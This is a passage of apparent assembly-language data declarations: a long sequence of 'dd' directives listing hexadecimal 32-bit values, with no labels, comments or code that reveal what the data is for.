0E5A0B345h dd 5C003D38h, 1142F2C6h, 28156D31h, 0A2BC5736h, 0FEBC1853h dd 32C51116h, 999E8CD5h, 16E9079Ah, 752CB46Eh, 55B82050h dd 0CF1FFAA2h, 1B91A834h, 513C7700h, 6EAA162h, 106D3B24h dd 59AD9100h, 9047D57Ah, 0CC380060h, 0C393EE05h, 2C28C5D4h dd 0D9EA944Ah, 0A87DB130h, 771A69h, 1130FBA0h, 0D6246193h dd 16ED7118h, 0A29E420h, 0C4A11D4Ah, 5D807020h, 9040FD43h dd 3FC8C2E4h, 0E8A03D2Fh, 3A905FC7h, 0A8CC0A3Ah, 0CE04B813h dd 43251F94h, 532D1490h, 383744Fh, 0C46F5950h, 10A35868h dd 0A2DCF909h, 0BC3C804Fh, 0D7B531h, 93298883h, 0DA26B287h dd 9A00017Ch, 0B58DEC3h, 24A91AAEh, 9600C7BCh, 38D710CBh dd 954F6D83h, 0C58A0A1h, 6E440FEh, 8544A03h, 303540CFh dd 4CC0CB58h, 49043CA0h, 3B615A53h, 37C5F881h, 0B61DE880h dd 5EE6E42Ah, 34B2E303h, 0A1A044AEh, 76004D15h, 0BC38F113h dd 788D06C8h, 60082BB7h, 6B83214Ah, 4906A3F0h, 3A9E0722h dd 8E980319h, 422A41B3h, 0ED00C17Eh, 0CA063514h, 4A1762h dd 0E82C1A4Eh, 0C597BDBFh, 0DB94DE01h, 62015C34h, 3D1909ECh dd 0C284F9CAh, 0CCD56A8Dh, 5B048B68h, 2A62595Eh, 0D422C132h dd 0BF786093h, 1F12FA1Ch, 0C2FE25A8h, 0E1CD52E6h, 964F5848h dd 0D5DAAB09h, 0D34480F3h, 572427h, 746F134Eh, 4A0D6DB0h dd 3C627600h, 33DDA808h, 1CA230A1h, 9E011341h, 111A5A02h dd 8130D902h, 61C5B7BCh, 57888450h, 7FA00927h, 0CC89D047h dd 80642508h, 0F1686155h, 45862892h, 5B8CCC89h, 0D60AA1F6h dd 0FC2187CFh, 42756020h, 910935FEh, 2088CC0Dh, 11F07A54h dd 61C9015Fh, 94F8BAA4h, 0F8A0F291h, 88229301h, 70CEB030h dd 30CC541h, 0CD4864B1h, 0B9014E35h, 6CF2BAD9h, 2EC08647h dd 0BF1A0163h, 0E28D4EF8h, 2905F3F9h, 0FE4B1593h, 985C91C2h dd 605EAB84h, 6733A9B6h, 765062F7h, 80AC17E4h, 0C7615E04h dd 5D387AEEh, 945A61E2h, 22189E0h, 5AA549D3h, 0C40950Bh dd 107FDC4h, 0D9062268h, 0F480C0A4h, 0EE4D638Bh, 378601E4h dd 0FA14D698h, 279C701Bh, 7DF1C90Ch, 140D40C7h, 9C159ABCh dd 3471F00h, 0DA012128h, 0B787EF14h, 9020044h, 32915318h dd 44120082h, 95430AFEh, 0E10006E2h, 886C618Ah, 0F2FC99h dd 0E7849DD2h, 58C0134Dh, 0BD542B3Dh, 3427A6E9h, 24A92414h dd 80A8DC53h, 0E7DA6300h, 0AEA78732h, 27FAC0h, 891BBD2h dd 97C56EE3h, 0AF13B3FCh, 0A47A9B80h, 82748510h, 1FF9B308h dd 0CF1320A1h, 0A25A42Ch, 0D1BE8DC4h, 5B7F61F0h, 18F67152h dd 7088C0F0h, 0CC5B0E87h, 0CD002331h, 661B0813h, 89BBAB3Eh dd 253CA1D8h, 42F5634h, 6C1405EAh, 0A0879691h, 0D5F9AC10h dd 4AF0B01Ah, 56900025h, 163561B6h, 0B2EF6B00h, 30FAAF98h dd 2B5D3D55h, 0BD008449h, 8A243EF5h, 1000CCEDh, 6E806075h dd 6EBF52FAh, 0FB2F71AEh, 245AB603h, 0ED7C0800h, 0A854148Ch dd 0A1BB0267h, 5ABC8BB9h, 66C0E4E3h, 0E40FA550h, 0CE07964Dh dd 8C024771h, 0D480D114h, 0C51923AFh, 2D86FD1h, 8D15AC34h dd 991C4450h, 179904D9h, 2D0C1430h, 62C4286h, 0A6D3969Fh dd 83EE00D9h, 0F828B8D4h, 3B0F5B49h, 4B8B5518h, 0DE4F8479h dd 90351CC1h, 8730D501h, 1120A139h, 0EB77C990h, 189CA6EAh dd 79BC4D88h, 0A5079051h, 0E699E87h, 2ECA82AFh, 67BCA01Ch dd 50EA6B0Ch, 0B9B39016h, 60ED0734h, 5D80FEA3h, 7ABC87B7h dd 1655F300h, 0B3B5C65Eh, 0D0955845h, 3EAB7580h, 4E0059BFh dd 40F10F2Ah, 595DBD2h, 0CEB71637h, 6178C108h, 3F9029C9h dd 99C9E0D2h, 76EDD3h, 52096D80h, 31E78D27h, 2D5DF07Bh dd 330178D0h, 0BE9F6013h, 442D252Fh, 0DFA3BC00h, 0BFF1A89Bh dd 5593C901h, 5E145D01h dd 4C0040D2h, 7AF8A0F8h, 40509625h, 3D0FA10Ah, 942CC300h dd 90F49285h, 3CE11207h, 0D5006264h, 9100C05Ah, 17B71EB9h dd 7854D30h, 0A1403CDCh, 88D8C4F1h, 0E6008400h, 9D52E5EDh dd 4808245h, 94CD0B58h, 0E44A3C5h, 84895451h, 0FC325980h dd 4F5F1A20h, 36C70071h, 0ABE6BF0Fh, 2C9145F9h, 83DAC108h dd 0D9C8B67Dh, 2C18A789h, 43B9E844h, 0F8F4251Dh, 3EA0016Dh dd 0E25C8026h, 185029EBh, 8F995625h, 69F40052h, 0C5610EE3h dd 0C23FA8A1h, 0CB240089h, 139AB90h, 5B5A0097h, 6785D6BBh dd 6100A5B6h, 0E4D2FF1Dh, 262733h, 0A16F0EEDh, 0F0B99981h dd 2A90DB01h, 8E3BE764h, 737903CBh, 627E142Dh, 65EAFEC0h dd 48A6612h, 5905B860h, 0B350300Bh, 0A512C8D1h, 10A7C101h dd 0F1A0FD96h, 4C4B1DCh, 0D8E8493Dh, 104CD7BBh, 1EC71F37h dd 414C6100h, 0EC50AB73h, 60570481h, 0C5C96685h, 0C554C00Bh dd 0EE00D51Bh, 0A1E7BECCh, 26C1677Ah, 26C94BDh, 881C5C18h dd 0F80BC71h, 2E15D216h, 22484281h, 0B66F17C4h, 8DFA0216h dd 5BE23F6Dh, 608034A8h, 3DF50501h, 0E24C7718h, 805F39h dd 135E7FC4h, 0CBC611B5h, 7EB3B600h, 4F7D4C8Ah, 0E805012Ch dd 4425EC60h, 106C00DDh, 827AA4h, 0FB28FF0Bh, 0C2BD6307h dd 0CB13B091h, 8A212C20h, 0AB640096h, 0DA525F6Dh, 1A1DC398h dd 9404D0B8h, 14C8BBA3h, 99A8644Eh, 9F688049h, 0C548EF9Ch dd 5C482F8h, 0B2AC011Eh, 25D99466h, 8F9D0020h, 0E0B0797Ch dd 0D2190085h, 0DA01FCB1h, 343B2A09h, 8F168A2Fh, 0B442FC64h dd 10CC4A1Eh, 14017E4h, 0C77CBE52h, 0DCEB2191h, 0BB003372h dd 0B8EA647h, 4BCD4D65h, 23802EC3h, 0A0A30077h, 0B2331B46h dd 0F8237800h, 0FF579830h, 95EF0099h, 17618D70h, 0D63BD7Bh dd 0E348E78h, 29B1C4E9h, 313A3F60h, 0A702865Fh, 4DED4152h dd 8247058h, 45CEA902h, 1795609h, 0B14B5D1Dh, 0BE15AC50h dd 87C38D0h, 5E5C6B00h, 0A1137895h, 2D04F37Ch, 0B02E59C0h dd 0F6E098E5h, 9A951BC3h, 868482F4h, 0A01491DAh, 80F519h dd 0D82D2CB3h, 76D2E6Fh, 0FD2B32C6h, 4707E5FEh, 30575ED8h dd 51651AEDh, 2CA1D200h, 0BC64AF77h, 5F44279Bh, 26EE7018h dd 78C8F408h, 5E196491h, 56F666C0h, 10D2C17Bh, 1E483835h dd 6400C58Ch, 2B94F9C3h, 0DB603081h, 5D730F9h, 1F8262Dh dd 726928CCh, 0DEFBA060h, 11A34580h, 0A28C88D6h, 6AC4F100h dd 0A549D262h, 0EE34B63h, 422EFA70h, 0A05819CCh, 0D49FEC13h dd 0F9A29823h, 41F07DBCh, 18A3F021h, 496CF153h, 1F260B43h dd 0F2003C5Bh, 71338D4Eh, 187A5099h, 5A9C0169h, 4996FC11h dd 0D1C451F7h, 234F60D8h, 0A1DE8D1Dh, 4F256E40h, 11E78C9h dd 0AE0C75Bh, 30B55D6Bh, 9903BF4Ch, 6AFC4530h, 0BD1488DCh dd 6C2F022h, 676FA65Ah, 2930B98Ah, 0F8A7F174h, 0F0F428D0h dd 0C8E0449Ch, 0DC093013h, 0B6DD8820h, 0AA1900CEh, 0DAAEE22Eh dd 0C34852BDh, 9E4F81DCh, 63709547h, 2E57179Ch, 0F0B8206Eh dd 0A20CC862h, 48B87E83h, 5432E792h, 0B570F100h, 5B541D9Dh dd 2F3E3Ah, 0D895C0Fh, 0B81FCC9Ah, 0D25D0278h, 7C5FCF04h dd 85AFCCAh, 6AE53407h, 0D7D1546Ch, 0B0FCD9A3h, 50A10058h dd 575C335Dh, 243A6BEFh, 0DC64A493h, 40CEC742h, 1655366h dd 836CFF5Dh, 80163257h, 630D0559h, 17F50249h, 27EEAF55h dd 0B3C890BCh, 0EF07C38Bh, 0C5C41B29h, 0FE4BB280h, 94611649h dd 62AC204Dh, 200729D7h, 0D1128A9Fh, 9D3DA260h, 506B1265h dd 35D84049h, 0D66A36Fh, 6891A51Eh, 0ABC78200h, 4C8EB4Eh dd 95279B8Bh, 7C74A44Fh, 559FBE0Bh, 25408428h, 47CA8CD0h dd 2E583BBCh, 0C1C029E0h, 13016707h, 18453179h, 95E8BFEAh dd 36A6006Ch, 0B96920EDh, 0D900F513h, 0A89C1AE5h, 18771B08h dd 5C97EB57h, 0A43AAB5Bh, 724C9BC8h, 3CC7F018h, 3F48FC85h dd 4F805CE4h, 513AA0F2h, 6600131Ch, 4D06142Fh, 30BB3C64h dd 6A31E254h, 6F2E2899h, 0FA0F0CF7h, 863F8E18h, 20378Eh dd 0DD28F16Ch, 74CE01B3h, 968D2500h, 0BE76A4ADh, 4C81C67Dh dd 0D703308Ah, 0F8DE23B8h, 0ED100795h, 20F07729h, 1568614Eh dd 5C60C63Ah, 36806054h, 71467253h, 0DFD803FCh, 0E03FA4ACh dd 70655100h, 29E659BCh, 98B600BBh, 1396B43Eh, 0EE281CFEh dd 58018453h, 0D6074B62h, 40FE45A2h, 0B10FAFh, 57FA8E90h dd 0D563E86Dh, 2BA03000h, 95514BD9h, 0DF6B1EDBh, 8BB48FEBh dd 0D0EE1481h, 9073F84Fh, 7F067400h, 86D10923h, 34977304h dd 2E112FE5h, 0C7EC8F04h, 0FEC001C9h, 0F96965h, 2E13BEDFh dd 0A7BF46Ch, 23D6000h, 0B2A8EDECh, 7DFE0CDBh, 6F28C7F6h dd 1C6D0A20h, 4D12C9Bh, 44B399ECh, 5B44F9C4h, 0FCE9420Bh dd 0B1550286h, 10660523h, 2DD779h, 0B80987F6h, 0A05FCEh dd 4EC61E56h, 0C01C579Dh, 0C2A83600h, 0B626FD23h, 76EF03DBh dd 1DF134E6h, 9C790CC8h, 0EB814B00h, 0F8E0D19Ah, 0DE6A00F3h dd 517C0E27h, 2C01F418h, 42B0D4C1h, 0AFE06FB3h, 12CE0032h dd 375816BDh, 1E12482Dh, 14006528h, 5D70832Fh, 2C1400FCh dd 33E87F81h, 9E3B4219h, 0DE72001Fh, 8A79D2C8h, 7C8700C5h dd 2134DF9Ch, 410088C0h, 91540C04h, 789BBB6Eh, 3E17070Eh dd 2089874Bh, 7AF8BEE5h, 7901167Eh, 54E451C8h, 6EE445EEh dd 7BFEA90h, 0C49CBE43h, 0E3D4069h, 0B500B311h, 38BA124Bh dd 0A81CB6D9h, 3644ECh, 0EA73BB7Bh, 7761F7A5h, 0FBB49703h dd 0D070A3ACh, 7B0A3Ah, 3D14D30Ch, 0C5CB38B7h, 1C013F00h dd 0FB168A2h, 0B3D626D2h, 935D0B4Ch, 33615800h, 8400F6C6h dd 98DE4E1Ch, 70AAE82h, 963248E5h, 0A9C1E0EAh, 7013CFFh dd 0E3D09C1Ch, 0BE42254h, 98BE0002h, 0C6F1CAC5h, 9100CEF7h dd 8CFC6CBAh, 59F523h, 0C5F4ECEAh, 0E487FE7h, 78E57B00h dd 5C120854h, 0F08809B3h, 8EFD46ADh, 3EBEA081h, 5578A4h dd 24F69C0Eh, 0F95F4E28h, 0A890AF3Eh, 3B7E8821h, 70D6C500h dd 0D4054304h, 1BC00E6h, 0F1DE4A51h, 0B200ABD2h, 0DF68C917h dd 32E99A3h, 871A0816h, 0D7C80953h, 470082C0h, 9FBD84D5h dd 79CAAAh, 0DFC8D652h, 9EDB41C6h, 683E0800h, 9CFE75A1h dd 28740189h, 410CED1Bh, 561C08Eh, 6B9B7A00h, 1E9A2EF7h dd 0EFC200A4h, 6AFE217h, 6A0021C1h, 0F724E30Dh, 0F3D6D96h dd 4C47959Eh, 897980FCh, 0E2637A34h, 86F39900h, 97210B08h dd 64B406D1h, 411C2ACCh, 4703B07Eh, 589DC911h, 77E0E893h dd 10149088h, 3C2179F5h, 0B8500051h, 9795355Bh, 151F0FC2h dd 0C0BDD931h, 7FC97363h, 4C00A01Ch, 7589C430h, 0C03C643h dd 29E539F6h, 2100B511h, 0A301CEC9h, 80BB9Ah, 0ED6E3696h dd 1582812Eh, 0D7BE30Ch, 1D7331ECh, 0C495BEB7h, 86A55EB0h dd 0C500BA9Dh, 0C7FF0CF4h, 71FC3A66h, 0F14D1EE2h, 51CB0018h dd 2797EF88h, 0D40017B0h, 0E826C659h, 5E9DC8h, 0E0183716h dd 3695D1BAh, 0C774F207h, 34806067h, 0F802E8ABh, 197900BBh dd 0D9F13F1Eh, 0F1E74D8h, 4ADD585Fh, 7304E91Ch, 0D08093DBh dd 39DE8CFh, 0F180A5A2h, 60F7020Ah, 3E862A6Ah, 20DB9400h dd 1CAFCE0Eh, 6F5E0053h, 292F64Ah, 0BF008F13h, 60AB2357h dd 29BD97h, 0E5D65ECAh, 0F1A51CFh, 40983B12h, 0EE5F1C71h dd 2B4CF140h, 5EFE2A7h, 64E6BCF4h, 0DA6480BAh, 0D8A99556h dd 0A7DBDC1Eh, 0C9E9BC00h dd 0D9E31AF9h, 6ED224BBh, 3037003Ch, 0E73E2ED7h, 18F64Ch dd 8DDFB2E1h, 1F6BFF73h, 16434134h, 0ECAA001Dh, 0DCB0890Eh dd 8111A800h, 24AF3899h, 5F43AC6h, 967CA580h, 0ABDCEB1h dd 0BBA02200h, 0EEEDA94Ch, 0D1803930h, 77DF8407h, 4092E787h dd 0F4CB8A20h, 59E9EE01h, 64FD97A2h, 2B50C8DBh, 0B6E0001Bh dd 0EC3C46B9h, 6000D7EAh, 5F8ACC23h, 1D92C8E1h, 0C0FFBBEBh dd 81A54C19h, 0E00036E6h, 0C9AF2565h, 0F48C394Ah, 0BB55000Eh dd 9B26C0E2h, 0F00EAEBh, 0B0FC22CBh, 0C51BA5h, 27257936h dd 6E98B152h, 83657300h, 0C03CDBE1h, 0F8BB00E0h, 232EBCC3h dd 13136E94h, 0CD00BF09h, 0D853ACC7h, 349CA0ADh, 0DC990095h dd 7037EF69h, 0DA00EB7Eh, 6381E4E6h, 701E68B5h, 926A00BAh dd 71BBDDADh, 0ACB0E6CCh, 818DE800h, 0AB274811h, 4B8000C7h dd 0EB79EE61h, 1700A655h, 889B05CAh, 0B1934h, 0DA4B8D38h dd 0B8D85DA2h, 0A512B600h, 0F36AA7DFh, 0F00C4BB9h, 0C41E728Fh dd 50408A8Ch, 7AFF90C7h, 49CF00C8h, 0BC798123h, 6B1ECA30h dd 56C04DA8h, 83C61B9h, 146F00ABh, 0A60C6CD3h, 1C004BFBh dd 0D788CFEAh, 1D9C1D85h, 568407F5h, 7B87BC0Ah, 341CD500h dd 0C98B91B8h, 0BDDB0E32h, 57E06452h, 84E1467Dh, 0D814A407h dd 0BF04E3Fh, 1BAB459h, 63C262EEh, 308C898Dh, 1D0033C8h dd 0FDC95249h, 6076F3h, 8DF73177h, 0EC72D05h, 0F52CA800h dd 0BA9F90E9h, 0E1A700ADh, 0B18169Ch, 0B400D9C6h, 6639FA97h dd 98B33470h, 0C890DAh, 9E577F0Eh, 0DEB8270Ch, 0A1A5D712h dd 63658840h, 0B1F27DF9h, 493B07FCh, 91E1E0CAh, 6300681Ch dd 0F953401Fh, 0BA0924h, 0CDCFDF2h, 9C43C775h, 0FC7908E4h dd 0DE9C70EFh, 19E1E601h, 2BAB3BB3h, 0FD60FCh, 0CD62C089h dd 8DA30FAAh, 98F75B00h, 9921159Dh, 20B90064h, 2A9C6981h dd 124C222Eh, 13E3AC4h, 0BAE77748h, 0B0806D2Ch, 1F615D01h dd 510133D2h, 3D7DE9A9h, 1AE00444h, 0C37E000Ch, 274906F9h dd 100FD4D3h, 0A0868A4Ch, 0C9801281h, 2937092h, 91591C13h dd 3CE8E05Eh, 4A0D78A7h, 0F02520C9h, 3C7B68CCh, 0F9855D7Fh dd 0D5DF05FFh, 96440124h, 0DCD871B2h, 3A00399Ah, 0C38246CCh dd 1DB4F56h, 8654E95Bh, 0E8C168C4h, 0FEA00D1Dh, 0FB5032F0h dd 0E9005C94h, 39142971h, 63D354h, 3B9172B3h, 51619C21h dd 5D069F00h, 81A38A1Bh, 0D39000DBh, 85136337h, 5E4D0E6h dd 19F9D500h, 0E8E4AE95h, 24E4B81Eh, 1984C70h, 584AAD11h dd 0E285FCDCh, 0E35D3503h, 0B827FE90h, 3B86D103h, 4480F39Dh dd 65D9B8DFh, 8E00EB49h, 8D069213h, 6D1D76Dh, 0CE71FFFDh dd 3000B8CCh, 0E420E1BEh, 1E52C988h, 411A7903h, 1AE0BB7h dd 177CEC5Fh, 518CF93Dh, 0C44961A4h, 2613757Dh, 2D0E0FECh dd 31B2E13h, 8A123F4Dh, 799E80DBh, 95903F4h, 0B788F347h dd 7746D183h, 0C2922ED0h, 0FD00B670h, 2A98B8AAh, 0DCDD8D5Fh dd 0BC3983C8h, 0BAF8E94Bh, 78C024BFh, 0EA366E6h, 0D8F509ADh dd 64238DCEh, 2FD8F061h, 0A2033BA4h, 0D196B4EAh, 0DC0A194h dd 5BC83680h, 2D86F67Dh, 0B70254Ch, 8ECB186Ch, 4065A0F0h dd 7985344h, 6F890CDh, 58A8C085h, 0C1652FBh, 0D81DC042h dd 0B2C0E95Eh, 5F29B479h, 9979890h, 0F98D752Eh, 6AC7200h dd 26004B13h, 1F9276BBh, 73A0B77Fh, 33590071h, 85E81240h dd 0FCEA09CDh, 5543AF05h, 5C874E37h, 628077F0h, 3A7C035Ah dd 0A07E1813h, 80B917B9h, 1E81D80h, 4DFED397h, 4A00C8ADh dd 0B5A50BF0h, 540051CCh, 15A3507Fh, 43BA02h, 74C3AF7Dh dd 0BC0CCAD7h, 0D2867500h, 0F21521FCh, 0DDEAA9h, 9E39A424h dd 1B298074h, 5A73CC00h, 0BCD2B42Ah, 81E507DDh, 545DB794h dd 8084950Bh, 75D1F78Dh, 1B105860h, 2499209Eh, 7532D33h dd 3090C371h, 233FE7C9h, 0FC01D1B0h, 3750F37h, 0E1EA2636h dd 93C87211h, 5C400ABh, 58854F19h, 4731B27h, 0DF9E2A00h dd 0A7B3C656h, 0AD7117CBh, 0D9000024h, 54E3B488h, 45D69000h dd 2C964707h, 0E7A401D8h, 0DD0F790Ch, 3C9B4053h, 7F243ED6h dd 4E0F2CF3h, 5DBBE012h, 0B0A6827Eh, 0CF87344h, 61A9D9A4h dd 6EEEAD10h, 542B8500h, 0CC4DECEEh, 1D3A74C8h, 4E87DEDAh dd 0A8406045h, 0D938B84Fh, 610EC598h, 80DD9AF6h, 600A4792h dd 0DA01020Eh, 3F596753h, 16B28440h, 0FE7B8270h, 1970FD03h dd 0B0E1CEC7h, 777C0C8h, 81BBEEE6h, 0E760C16Dh, 0D93C30CDh dd 1DE8E000h, 654FDC53h, 5C3903FCh, 0A79FBD9Bh, 255276E8h dd 78DEBE60h, 0ABE4D8h, 1AC8C68Ah, 2FE9207Ah, 74003A7Eh dd 898259A8h, 967FD73h, 14CE8A2Ch, 0EC3F8080h, 5D0E472Dh dd 4036546Bh, 9EB3D28Eh, 292500F1h, 9F8C3FB8h, 96485E90h dd 133D8040h, 0B365F2h, 44CDA770h, 7752619Bh, 322CF02h dd 0E0BD24A9h, 3751639h, 34499EE5h, 70CA0C69h, 998F14E5h dd 54A5805Dh, 0B8F1DEB9h, 83890651h, 2856790Eh, 0AD888104h dd 0AAEA36h, 46601400h, 0CEE9545h, 707F8F2Ch, 0D9BB9E02h dd 7C73F2h, 0E9DAA9D7h, 72CE750Dh, 0FA17E018h, 3C84DDB7h dd 2C8B5DF7h, 50A9024Ah, 8F2AA480h, 10C06C44h, 0A90B89E9h dd 58B10F3Ah, 9A6BB691h, 767F3400h, 7A04C61Fh, 48530F1Ch dd 643C58D0h, 7BEC59h, 776589E4h, 9AA990C1h, 4426603h dd 80812CBDh, 0A71F9Eh, 7871D59Fh, 0EB39AAB0h, 0B277F6FCh dd 8D629900h, 0FCF95E34h, 88270230h, 0ED9D9153h, 7E496C78h dd 40C6C02Ch, 1C91EFA9h, 3846135h, 0E2EEC1D5h, 96031F2h dd 5300172Ch, 724B6F60h, 0CD1BB6h, 49CC7E42h, 3847D00Ah dd 0F027E700h, 89B1F334h, 23B7004Dh, 7BB27468h, 0FE506A76h dd 1C7ED4DAh, 40348900h, 1CC52B9h, 41A90020h, 0ECED87CAh dd 2200AF1Bh, 8EFF2B8Dh, 23008h, 6D55A5EEh, 0C237EB82h dd 7FBE30Fh, 0F08C60F2h, 7D4D7B1Dh, 89E0071h, 0BAEFD104h dd 5B24E5BDh, 0E1002039h, 4267E462h, 0DDF30017h, 4F1BCFBFh dd 0A44F8EDAh, 0D6B59800h, 0B4492Ah, 0E4F85B6Bh, 0A24052D7h dd 0B2FFA70Bh, 4D20006Dh, 901DDB55h, 41A60050h, 0A3B980ACh dd 0F895864Eh, 9B48009Bh, 465662D9h, 1000ED84h, 83A96B9h dd 67D761h, 0D1554E4h, 9BD0A67Ah, 83A5B727h, 0C801055Ch dd 492FD595h, 0C51C98C1h, 0F772807Fh, 383C16CFh, 1F6E5503h dd 0E0E4B542h, 847F61h, 0AED93701h, 0CCAABEFAh, 95C0450Ah dd 168BF844h, 0D06CBB3Eh, 19B143h, 7A22BEDAh, 1782C38Ch dd 0A0E71400h, 0AB65163Dh, 0CF270010h, 769AC643h, 903B884h dd 128FEDF6h, 0A3EC884Eh, 4803489Bh, 0AE62E903h, 0BBC83B69h dd 0B0168F7h, 0CCD4D1DEh, 79F80A23h, 0C5190002h, 0F1574012h dd 0EA0068D6h, 0B19263ECh, 35FE969h, 3D44E183h, 2C88269Eh dd 0B2007687h, 4A882BDDh, 3EC9125Fh, 0D8602753h, 78D141DBh dd 6300B8B0h, 0F25A8C25h, 0EB5D643h, 3456A789h, 0C6CB820h dd 0F405308Ah, 0BDA8295Ah, 0F50DC1C0h, 0A6420037h, 0DDA4E3C5h dd 9D1D363Dh, 6A005279h, 1A409880h, 13230904h, 4830B61h dd 0D191A418h, 70BEF832h, 0FCDCD501h, 3E0198ABh, 97AC20h dd 2F2935E9h, 60379449h, 0B08A8704h, 0F490401Ah, 47CAED7h dd 9BB1EA42h, 0DC88F084h, 76BC2F00h, 0F1F42989h, 98FD05B7h dd 0D74492A1h, 0DF08675Ch, 48BD403Dh, 0FD326E3Eh, 0BEB35B12h dd 256DA840h, 0B01F778Fh dd 19F4006Ch, 0B890C9A4h, 1001277Ah, 9222EAC3h, 1620B90Fh dd 0A3120041h, 4A5816A0h, 72005408h, 194D1440h, 1251808Ch dd 0B38226h, 0DDD5F215h, 0DE057563h, 22CA2F7h, 0E877C445h dd 0FA6BB302h, 0E7BC6033h, 0D3D10FE4h, 1280D61Dh, 40BA8295h dd 0F101D973h, 0BCEF3D42h, 77CC8507h, 879700FEh, 89DAECCFh dd 530E04C7h, 0C0CA789Ah, 0FBDF41A8h, 0EF5C0217h, 0B6158B11h dd 28EE6C40h, 9E48E107h, 16B0C6A1h, 1320AF92h, 0AEBD1C2Ah dd 9D37BC00h, 71E8751h, 5FE03C19h, 470A478Ah, 935CB09Ch dd 9707B03Ah, 3DDCF4E2h, 1AB43EF0h, 0EA0E836h, 1E86F613h dd 42B2EA40h, 0D000FA35h, 922303E5h, 14531BE3h, 24A93114h dd 3C127C07h, 0DC3E7035h, 0C737B7C1h, 999388DDh, 4A0BD8E9h dd 1AEA07BDh, 625FE53Ch, 0DD188F87h, 723D2088h, 1883943Bh dd 0B97848B5h, 3AB61E90h, 0C684FF2Fh, 802C517Eh, 92D24775h dd 58CB5A00h, 507793EAh, 0A37E5Ch, 2CDFB8F0h, 0D01FD7DCh dd 0B38B8200h, 1C5BFED8h, 5F85026Bh, 580C6524h, 0F6211460h dd 0F1774007h, 75F049EEh, 150DC5Ah, 0C60AB5B3h, 0D013D514h dd 0AF031D91h, 0B85B030Dh, 0B0E001E0h, 85F24E18h, 12E5EC95h dd 98DAAC0Fh, 6853602Ch, 1D114075h, 5EB779h, 0D6086F90h dd 0A700B0FCh, 825730ABh, 1EB77872h, 414B738Ch, 0C4690E26h dd 0B1608D85h, 40E6997h, 30C780EEh, 0F762A7h, 0DC92BD38h dd 577C7AB7h, 0BFAB011Ch, 209E410Eh, 15524CC7h, 0DE3818FDh dd 53D029C8h, 88DA0288h, 3B884B20h, 54D34003h, 73C49945h dd 0C73A0867h, 308850C4h, 3C2894A0h, 93C71708h, 0F486D810h dd 0EC2229CFh, 692D2250h, 37375C22h, 8A1E241h, 27C2EF42h dd 5B8C1830h, 0A044298Bh, 40F1463Ch, 4A44149Dh, 0D8BD44C1h dd 2E61AE88h, 19B999h, 6B983B31h, 0DA07DBB1h, 7A740979h dd 0A0E57860h, 0A6730057h, 59A3B4BAh, 210FED33h, 40DA01A1h dd 0F7D50B63h, 0B01D00C1h, 0D8DDBFB7h, 203C8A4Ah, 2A880082h dd 0BEDB05DFh, 625907C4h, 0A054AC68h, 0FAFBF528h, 253D3800h dd 2D15E401h, 20690D2Fh, 0CC18C2BDh, 1900360Ah, 49BF904Dh dd 30F8ABh, 9920C1F9h, 428605D7h, 0E747DD18h, 0E641BB30h dd 27C6051h, 6F50BC4Eh, 0B06A0901h, 0EBB89C29h, 82DC1421h dd 0F80A0744h, 105BA5D6h, 0BB731F99h, 7F48E660h, 6062563Eh dd 278E59BEh, 7507AD37h, 4CF9FC24h, 0A2138A01h, 0F3AC07Fh dd 64FAAF1Bh, 0A67A0DECh, 4260EC01h, 0CF55920h, 0E65420h dd 9E870EFDh, 803A17ACh, 0E154B8C3h, 9DE3B0B6h, 0A09000B4h dd 28D42FC0h, 3A0126D9h, 6F3786E7h, 0D5E8BCBFh, 0C36500B9h dd 26D81E8Dh, 42053C84h, 9A6662E5h, 13078BBCh, 50C3213Fh dd 0D4705D79h, 7631C200h, 0BA5EAAC4h, 0E24F12DDh, 9A1B00ECh dd 5A8AF887h, 225CC302h, 0DDA916FFh, 0C04BA805h, 41AB2CBCh dd 0F4B7DE00h, 0FB521E75h, 277BD6h, 0F0D00C88h, 2A699F0Eh dd 0F2473E04h, 0CC80AEC3h, 3D2F4F9h, 8E654573h, 7A88F61Fh dd 943892AAh, 410C0067h, 0C0160A59h, 7CB5006Fh, 0F85782A7h dd 0AE393A96h, 0B7358091h, 8CD2F30h, 0E2FB0389h, 84C31578h dd 0E683E983h, 293301E8h, 20F20B03h, 0B18D76FBh, 0A0506686h dd 4874F564h, 3006CBCDh, 18140DF7h, 19447900h, 75F3ABF2h dd 0F132076Dh, 0B051B334h, 0E66A3D5Bh, 0E1D0091Ch, 0EB83BC0Fh dd 0DF40EBBh, 428028F6h, 0D2FC52F8h, 5F0E03DDh, 0B8C4B5DFh dd 99D710h, 0A4C67674h, 9890C231h, 0E5D16E00h, 0DAEB8847h dd 125C98B6h, 213BC1FDh, 21763404h, 7583D8EDh, 0D97FDE05h dd 0F40303F6h, 808F28EBh, 90B3A449h, 6D4E0312h, 990B9CA8h dd 4D07A2F0h, 0BE668400h, 0A45D4AAEh, 34EF0004h, 737BC79Ch dd 98006597h, 0F4811FE1h, 2D79C1h, 7D14105Eh, 61699E13h dd 1705D900h, 3974522h, 0B23F0087h, 0D1B3A302h, 6E009AE0h dd 0AC8689C9h, 665A39h, 0BDEF6CADh, 6762B4DEh, 485E8803h dd 88A59711h, 0ED6058h, 1ED50603h, 6B2B427Eh, 0F2F72A02h dd 404DA5FCh, 30FD14h, 0B1A94E46h, 0F32C2B8Eh, 6107F400h dd 6DC8460h, 92421DFDh, 8103CF18h, 0C1329367h, 21FFF21Dh dd 0E1FB6029h, 11CB1501h, 0CE379E64h, 61D01421h, 3DC34384h dd 864080FEh, 4D0AA723h, 0EAF80062h, 0DB688130h, 607FA991h dd 803A3F3Ch, 0F5EC5851h, 5365A7h, 7075D32Ah, 5F200BE6h dd 0FFD79400h, 9734A378h, 43C3C12h, 0AF1A8E01h, 0D030B62Bh dd 0E70036DDh, 0D8F5322Fh, 3A1F09ACh, 94008297h, 0DAF9D224h dd 0C207382Dh, 4DB37A6Ch, 2CBB91D1h, 3BDA1DCh, 83FE25A2h dd 8E887207h, 1D3D0A70h, 0A88D000Dh, 3B7E4746h, 0C0F02D9h dd 98576383h, 4280E88Fh, 43FC306Dh, 8081FB3Ch, 9CF9859Ah dd 21D30Eh, 996F11BBh, 66E5ACEFh, 0E7922428h, 9B4F400h dd 233D147h, 0E8D0F50h, 53213F52h, 0EC79C751h, 7600A7F2h dd 0C69A934Dh, 347310h, 5D21E00Ch, 390DB666h, 86093600h dd 453D22A2h, 0F8D4006Ch, 6433D8F6h, 810B8530h, 0C9132Ah dd 0BC7449E0h, 8F23Bh, 648056BDh, 11286DD4h, 2FB5F600h dd 0A6C7B93h, 4EE90008h, 0B11ECEC9h, 4D07E1FCh, 0F1D1577Fh dd 945CAE20h, 95830015h, 0A6AB1263h, 